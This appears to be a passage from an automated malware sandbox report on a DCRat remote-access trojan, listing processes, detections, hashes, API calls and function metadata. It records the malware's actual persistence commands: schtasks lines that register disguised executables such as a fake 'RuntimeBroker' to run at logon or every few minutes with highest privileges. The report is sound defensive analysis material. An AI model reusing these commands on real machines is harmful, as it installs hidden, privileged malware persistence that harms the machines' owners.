Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\providerReviewperfsvc\Idle.exe
Wow64 process (32bit):	false
Commandline:	C:\providerReviewperfsvc\Idle.exe
Imagebase:	0x590000
File size:	1'247'744 bytes
MD5 hash:	CA3AE9AE64643D74D4EAF06F154F272A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000025.00000002.2205565303.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\java\jre-1.8\bin\plugin2\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\providerReviewperfsvc\Idle.exe
Wow64 process (32bit):	false
Commandline:	C:\providerReviewperfsvc\Idle.exe
Imagebase:	0x360000
File size:	1'247'744 bytes
MD5 hash:	CA3AE9AE64643D74D4EAF06F154F272A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000028.00000002.2265382681.0000000002731000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	17:52:02
Start date:	03/07/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "nEuTyBtWAvjkYQrIMhtZWEn" /sc MINUTE /mo 9 /tr "'C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe'" /f
Imagebase:	0x7ff658c80000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20%
Total number of Nodes:	5
Total number of Limit Nodes:	0

Executed Functions

Function 0503670F Relevance: 3.0, APIs: 2, Instructions: 33
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtQueryInformationProcess.NTDLL(?,00000000,?,00000018,00000000), ref: 05036725
GetSystemInfo.KERNELBASE(?), ref: 05036737

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID: InfoInformationProcessQuerySystem
String ID:
API String ID: 1993426926-0
Opcode ID: 4854711a37ca42a6d94a3fc880ccc5749bf8276217b37f366e91258010faef97
Instruction ID: ee29c74930ae2c48f35f3ddb579a8a19f973d5d45ff10e97f90b2ef13db023e7
Opcode Fuzzy Hash: 4854711a37ca42a6d94a3fc880ccc5749bf8276217b37f366e91258010faef97
Instruction Fuzzy Hash: EAF0FE76700219AFCB159F5ADC49EDF7FB8EB49791B014029FD15E7250C7319505CBA0

Function 050365AC Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExitUserProcess.NTDLL(?,77E8F3B0,000000FF), ref: 050365B9

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID: ExitProcessUser
String ID:
API String ID: 3902816426-0
Opcode ID: 4515eb016ea1b264ec4549dd4391376b1fdb368a7eddf89d7fae5b7dcfc04438
Instruction ID: e8e8ebfc6a81059480712fca990e4888a962e60b22b66d3dd2555cb53817a352
Opcode Fuzzy Hash: 4515eb016ea1b264ec4549dd4391376b1fdb368a7eddf89d7fae5b7dcfc04438
Instruction Fuzzy Hash: 7A310AB2D1060CAFDB01CFD5C949BDEBBB9FB14336F21461AE521A6190D7785A098F60

Function 0054E598 Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 0054E5C3

Memory Dump Source

Source File: 00000000.00000002.2100951030.0000000000542000.00000040.00000001.01000000.00000003.sdmp, Offset: 003E1000, based on PE: true

Associated: 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100951030.0000000000522000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100951030.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_jx2eCe6ymR.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e658bbd2377c959d95b7055851e97ace764de91c222283ff2de40dfc225fbf95
Instruction ID: 3c5dc395ebc97d3041887270b5d42ded4496c2ac8fb75d7953dc66ef711c3d24
Opcode Fuzzy Hash: e658bbd2377c959d95b7055851e97ace764de91c222283ff2de40dfc225fbf95
Instruction Fuzzy Hash: B8E0ECB5700208AFDB20CE4CD985BDF37DDB799318F108411F609D7280D274EC109765

Function 004A6A80 Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2100678869.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100774612.00000000002F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100774612.000000000032E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100774612.0000000000334000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100774612.0000000000351000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100774612.0000000000397000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100888041.000000000039D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100888041.00000000003A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100888041.00000000003DD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100888041.00000000003DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100951030.0000000000522000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100951030.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2100951030.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_jx2eCe6ymR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeb3be8075e7af7188ef29408751f5155dea260f1be0cba6a29b29df5d1220d2
Instruction ID: 6be672c6ba1402689edde14b4badc2e5c927ed61bbeb6c4c7fe1ba740b3f6739
Opcode Fuzzy Hash: eeb3be8075e7af7188ef29408751f5155dea260f1be0cba6a29b29df5d1220d2
Instruction Fuzzy Hash: F011EE31700A40CFD305DF29D881A42B7E3EBE7340F5982B6D0048B3A5CB746C86D794

Non-executed Functions

Function 05034210 Relevance: 2.7, Strings: 2, Instructions: 183COMMON

Download Yara Rule

Strings

f=t=, xrefs: 05034237
3=I=, xrefs: 05034231

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID:
String ID: 3=I=$f=t=
API String ID: 0-2475568631
Opcode ID: 4273d4570931087820d3153953df99046c0c10773153469f61c51aebfa213df3
Instruction ID: 3d20940219be993939ee8b29792d69f38bc618fde574f0ee6a8c83832341bcab
Opcode Fuzzy Hash: 4273d4570931087820d3153953df99046c0c10773153469f61c51aebfa213df3
Instruction Fuzzy Hash: 8F61902668D3D28FCB578F78D4A5286BF72AE4321039F55EBC4C1CF463C2255886CB52

Function 05035F36 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb05e30058c8fbcb101f9351e7b66158692f0dd8930904fb1d0b5c3f7a9ea7e8
Instruction ID: 3b1f6743c394aa3fc5802f77949fc75730ae0c9b42fbfab9a98173913d76f6f8
Opcode Fuzzy Hash: fb05e30058c8fbcb101f9351e7b66158692f0dd8930904fb1d0b5c3f7a9ea7e8
Instruction Fuzzy Hash: 27815D76D0122A8FCFA5DF25CD886A9B7B5AF44701F5681DADC0AB3250EB315E85CF40

Function 0503625B Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29c7b870cb1bbccfa7a62bbf8948652b0363e4c68d69e62742b03e28984064f3
Instruction ID: c8bb727a293c23f69e4de50643553fe2ddd5dc986fc501b842b1e242c9b9ec0e
Opcode Fuzzy Hash: 29c7b870cb1bbccfa7a62bbf8948652b0363e4c68d69e62742b03e28984064f3
Instruction Fuzzy Hash: BF615E75D0122A9FCFA59F29CC886D9B7B5BF44311F1282D9D84EA3250EB309E85DF50

Function 0503327A Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2102285138.0000000005030000.00000040.00001000.00020000.00000000.sdmp, Offset: 05030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5030000_jx2eCe6ymR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47c29ea7d6717b61b06eea728e4732b81121069e10f86948ea60fb1f1406a529
Instruction ID: 84e953a3e438934d2339d57249cef9d730906c0b701a2b157259a5648d03da51
Opcode Fuzzy Hash: 47c29ea7d6717b61b06eea728e4732b81121069e10f86948ea60fb1f1406a529
Instruction Fuzzy Hash: 2BD0C9650492E29FCB499F78C9A56D23B29DE935803590589D8C21E452D632905BC392

Analysis Process: hyperIntoruntime.exePID: 1364, Parent PID: 5252COMMON

Executed Functions

Function 00007FFD346734D1 Relevance: 1.6, Strings: 1, Instructions: 328COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFD3467376E

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: a6c318a74b73402f1a1b537bdc4ee0b0d2bed4ad2e910bb9a604f66692fb3885
Instruction ID: 86e3e4004da397c979e2d345bfe36e5254d63b210d98ecd544996b2319d297de
Opcode Fuzzy Hash: a6c318a74b73402f1a1b537bdc4ee0b0d2bed4ad2e910bb9a604f66692fb3885
Instruction Fuzzy Hash: 3CB1A071B18A4D8FEB54EB68C8693ED7BE1FFAA310F50417AD00ED7296DA782841C741

Function 00007FFD346888FA Relevance: 6.6, Strings: 5, Instructions: 385COMMON

Download Yara Rule

Strings

L_^, xrefs: 00007FFD34688AC2
L_^, xrefs: 00007FFD34688A6A
L_^, xrefs: 00007FFD3468897A
L_^, xrefs: 00007FFD3468892A
L_^, xrefs: 00007FFD34688A7A

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: L_^$L_^$L_^$L_^$L_^
API String ID: 0-2264858084
Opcode ID: 7a7bd07dc579637ab4d2722d7e6be3fe3c3962701d4e995d0341494bd70275ee
Instruction ID: 4e2be14b1868b0ab0423304950632d7673117eb70ef28e56f3bd7fa24a6c12cc
Opcode Fuzzy Hash: 7a7bd07dc579637ab4d2722d7e6be3fe3c3962701d4e995d0341494bd70275ee
Instruction Fuzzy Hash: 54D10B72E0D6964FEB919F5898F11FA37A0EF62329F0810F5C29CDB183EE2C64459B51

Function 00007FFD3467D689 Relevance: 5.4, Strings: 4, Instructions: 394COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD3467D7AC
p\U4, xrefs: 00007FFD3467D7A2
NU4, xrefs: 00007FFD3467D734
", xrefs: 00007FFD3467D91F

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: NU4$"$_$p\U4
API String ID: 0-1936558268
Opcode ID: 57eebd9f357f99809a587bbc0b553eea6347478066abae272be576a691fdebe0
Instruction ID: e70636307adffd144c2b6946bf31f14909156e778f7367a4851a77aa41d74039
Opcode Fuzzy Hash: 57eebd9f357f99809a587bbc0b553eea6347478066abae272be576a691fdebe0
Instruction Fuzzy Hash: 7BE11F71E186598FEB98DF98C8A57E8B7E1FF59305F0441BED04DE7292CA386840DB41

Function 00007FFD346855F2 Relevance: 4.4, Strings: 3, Instructions: 671COMMON

Download Yara Rule

Strings

pMq4, xrefs: 00007FFD34685833
pMq4, xrefs: 00007FFD3468581C
pMq4, xrefs: 00007FFD3468586B

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: pMq4$pMq4$pMq4
API String ID: 0-133983484
Opcode ID: 32409392a32bfe0ae9fd1fb8ae03084dd3cd9eb75ca67c2a446df3b22c719433
Instruction ID: d403dc920f4bb52732e715490c92d9b56fd2a3047cc23d4f1a0add14f90d4510
Opcode Fuzzy Hash: 32409392a32bfe0ae9fd1fb8ae03084dd3cd9eb75ca67c2a446df3b22c719433
Instruction Fuzzy Hash: 49020822B0DA6A0FEBD4EBACE4F15F637D0EFA636570401B7D18DC6197DD18A8468780

Function 00007FFD3467D6A0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

_, xrefs: 00007FFD3467D7AC
p\U4, xrefs: 00007FFD3467D7A2
NU4, xrefs: 00007FFD3467D734

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: NU4$_$p\U4
API String ID: 0-1319130131
Opcode ID: 7e8af68e1060e54b6c19dc3570f0875ad0352a5e7d803cc74b89acf9dc4f3153
Instruction ID: 2dd4eb9bcc6ad6da447bd32a18c43250440b877eed270b388f03a7fd3a18743e
Opcode Fuzzy Hash: 7e8af68e1060e54b6c19dc3570f0875ad0352a5e7d803cc74b89acf9dc4f3153
Instruction Fuzzy Hash: C9B10F71E18A5D8EEBA8DF98C8A57F8B7E1FF55305F0441BAD04DE7292CA386840DB41

Function 00007FFD3467E987 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

}, xrefs: 00007FFD3467E9F4
#, xrefs: 00007FFD3467F792

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: #$}
API String ID: 0-437702028
Opcode ID: be4cc1e81aac57f7702d2642576addff056876df7e2550a2736ccff989d1f8a9
Instruction ID: f5774fd8d88e235ba96454aeee03c4a9f1cdc0e5925fe0f6a2cd4c7cbe21b110
Opcode Fuzzy Hash: be4cc1e81aac57f7702d2642576addff056876df7e2550a2736ccff989d1f8a9
Instruction Fuzzy Hash: DB31F670E0826A8FDBA8DF14D8A47EDBBB1BB15305F1081E9D10DE2291DB785AC4DF44

Function 00007FFD34687D4D Relevance: 2.6, Strings: 2, Instructions: 53COMMON

Download Yara Rule

Strings

@qU4, xrefs: 00007FFD34687C5F
@qU4, xrefs: 00007FFD34687D4E

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: @qU4$@qU4
API String ID: 0-2860092214
Opcode ID: 9fcf7426c28e87193f1a8d5572de4418fac7ded024047c7e9324898687a157ad
Instruction ID: 59acb6785d482b771f7ef2e5249cbdd54d72962ed460a246d89371edb6ca55a1
Opcode Fuzzy Hash: 9fcf7426c28e87193f1a8d5572de4418fac7ded024047c7e9324898687a157ad
Instruction Fuzzy Hash: F7115E71E0452A8FEB98EF54C8A46FD73F1EB55312F10457AD00AE3291CE7819409B54

Function 00007FFD3467F08A Relevance: 2.5, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

7, xrefs: 00007FFD3467F10D
E, xrefs: 00007FFD3467F0DB

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 7$E
API String ID: 0-691764926
Opcode ID: aab65b5a1a625b2fa7fc2e98e76809d04287ab7cb8f59b337106583355382441
Instruction ID: 090d10bacbaabd5bf0035dfa7adae5ae7df1d0b9c0a19d1e867fa43bfa67a1e7
Opcode Fuzzy Hash: aab65b5a1a625b2fa7fc2e98e76809d04287ab7cb8f59b337106583355382441
Instruction Fuzzy Hash: E011B6B0E096298BDBA8DF14C8A4BE9B7B1FB55305F1081E9D20DE3281CB385E849F44

Function 00007FFD346716C8 Relevance: 1.5, Strings: 1, Instructions: 285COMMON

Download Yara Rule

Strings

2Ep4, xrefs: 00007FFD34671E33

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 2Ep4
API String ID: 0-62664030
Opcode ID: cae157103539756832ca68ecd1db00f2b38e22e15bb022896674970f1c687220
Instruction ID: 52450b273161cd9c1712e80b873bca8ce6561ced38809235732f80bd45f9e764
Opcode Fuzzy Hash: cae157103539756832ca68ecd1db00f2b38e22e15bb022896674970f1c687220
Instruction Fuzzy Hash: B7818E31B0CA594BDB58DE1C8CA15E97BE2FF99314B14817BE59DD3392CE28EC028781

Function 00007FFD34673555 Relevance: 1.5, Strings: 1, Instructions: 252COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FFD3467376E

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: a6166a5c0c9d37b08d201d2df311fb8c47581060cec8a86c3cb6f11f7d5131c3
Instruction ID: 3310a045de7c1fe15a254fbf36069a867069153c7e6cf71218cf945205a8bba5
Opcode Fuzzy Hash: a6166a5c0c9d37b08d201d2df311fb8c47581060cec8a86c3cb6f11f7d5131c3
Instruction Fuzzy Hash: 0E81A171B19A8D8FEB94DB68C8653ECBBE1FBA6310F50427AC04DD72D6DA782841C741

Function 00007FFD346879F9 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

4, xrefs: 00007FFD34687B18

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: b4bac4bcf0a905cea7b3d0315e46b0640906314bce3360d7bff7bea2129a471c
Instruction ID: 86a07fa65180d994c2680f773a909bfc97c508cbf4dc6ba604d8cbad6242cfab
Opcode Fuzzy Hash: b4bac4bcf0a905cea7b3d0315e46b0640906314bce3360d7bff7bea2129a471c
Instruction Fuzzy Hash: EF51A130A0866E8FEB95EF64C8A96FD77F0FF56301F1044BAD509C7192DA38A644D741

Function 00007FFD346850B0 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

8mU4, xrefs: 00007FFD346851AA

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 8mU4
API String ID: 0-2997619333
Opcode ID: aec7342228b2085139619fceb44973014f008b38a252234be6fd8896b2eb8bb4
Instruction ID: 94622e947fc0946013cbeb022959d7080e99b65b14eb6b101464e6fe1942d22d
Opcode Fuzzy Hash: aec7342228b2085139619fceb44973014f008b38a252234be6fd8896b2eb8bb4
Instruction Fuzzy Hash: 5F510070A1895D8FEB94EF68C8A9BEDBBF1FF59305F10016AD00DE7291CA356881CB41

Function 00007FFD3467EEB9 Relevance: 1.4, Strings: 1, Instructions: 139COMMON

Download Yara Rule

Strings

/, xrefs: 00007FFD3467F58A

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: f3410cd73f2a3142db607da802f37884e34bee109198d5a7ff34eb7db6b2f11c
Instruction ID: 2e9e0cb13af7d5ce0788058b8cd7b02819f1d106c780dbcb8a1a0e484a9dc60f
Opcode Fuzzy Hash: f3410cd73f2a3142db607da802f37884e34bee109198d5a7ff34eb7db6b2f11c
Instruction Fuzzy Hash: DC512D71E18A6D8FDBA4DF18CCA57E9B7A1FB55301F1042EAD00DE2291DF396A819F40

Function 00007FFD3468509D Relevance: 1.4, Strings: 1, Instructions: 137COMMON

Download Yara Rule

Strings

8mU4, xrefs: 00007FFD346851AA

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 8mU4
API String ID: 0-2997619333
Opcode ID: eb5bcadbf001ed0710830d65684827fb0de3d067bd8e8cfdee1778ce385e097f
Instruction ID: 60a1cd169532403fb6d7d65036b7686e4a5a7932c128d5166d52e42f177087b5
Opcode Fuzzy Hash: eb5bcadbf001ed0710830d65684827fb0de3d067bd8e8cfdee1778ce385e097f
Instruction Fuzzy Hash: 0F410F70E19A5D8FEB94EF68C8A97EDBBE1FF55311F10016AD00DE7292CA3958418B41

Function 00007FFD34670A01 Relevance: 1.3, Strings: 1, Instructions: 71COMMON

Download Yara Rule

Strings

(vV4, xrefs: 00007FFD34670A70

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: (vV4
API String ID: 0-3656073800
Opcode ID: 2ca8a3adf5037c97a46eb0ccd36960abe8ef3df22d4ba92fbe1566d66948ad71
Instruction ID: 96f033967568b7cccf729b4cc8f3d42d55ef133f4f657c0562722588513fed84
Opcode Fuzzy Hash: 2ca8a3adf5037c97a46eb0ccd36960abe8ef3df22d4ba92fbe1566d66948ad71
Instruction Fuzzy Hash: FB119A71A0895A4EE790EF6888A86EA7BE0FF5A300F4485BAD509C6093EE38A4409750

Function 00007FFD3467122D Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

`yV4, xrefs: 00007FFD3467129D

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: `yV4
API String ID: 0-2350347687
Opcode ID: fa0696873cdb1ba37d891abbe3735dd938389ac21363987957fae04453dbf50b
Instruction ID: aa1a205a214420170d336b30fcd3b313fef8da6deaf086212a9ed9eeaaaeb70c
Opcode Fuzzy Hash: fa0696873cdb1ba37d891abbe3735dd938389ac21363987957fae04453dbf50b
Instruction Fuzzy Hash: 7B11E170A0969A4FEB599F68C8A96F97FE0FF57310F0481BFD219C61D2DA286084D701

Function 00007FFD34687E67 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

@qU4, xrefs: 00007FFD34687EB3

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: @qU4
API String ID: 0-152819938
Opcode ID: 9b2b4de11c9483bc29770d1090f81229e0261d89df02ee3426fc5f1f0f456bcd
Instruction ID: bfba66d5610f5dda6785d96e10cc29b0489b21fd13ef29889eb0a11b5b78047d
Opcode Fuzzy Hash: 9b2b4de11c9483bc29770d1090f81229e0261d89df02ee3426fc5f1f0f456bcd
Instruction Fuzzy Hash: F1112970E0462E8EEB64EFA8D8A46FDB7F1FB55311F50017AE009E3292DF7869418B40

Function 00007FFD34684E9D Relevance: 1.3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

pGq4, xrefs: 00007FFD34684F00

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: pGq4
API String ID: 0-675174599
Opcode ID: 99139f408f4816fe1ff084e47306b0ab7db6acfbea8e53973b54a55ca549cf6d
Instruction ID: 3ff599c9a74415f5359416fa8a4c73d57ebda9c2c85080cdc0e1d8182b1fb7b9
Opcode Fuzzy Hash: 99139f408f4816fe1ff084e47306b0ab7db6acfbea8e53973b54a55ca549cf6d
Instruction Fuzzy Hash: 3D11BC70F1895E8FE791EFA888A92FD7BE0FF5A301F4145B6C109D3192EE38A4448740

Function 00007FFD3467FC2D Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD3467FC96

Memory Dump Source

Source File: 00000005.00000002.2187622087.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd34670000_hyperIntoruntime.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
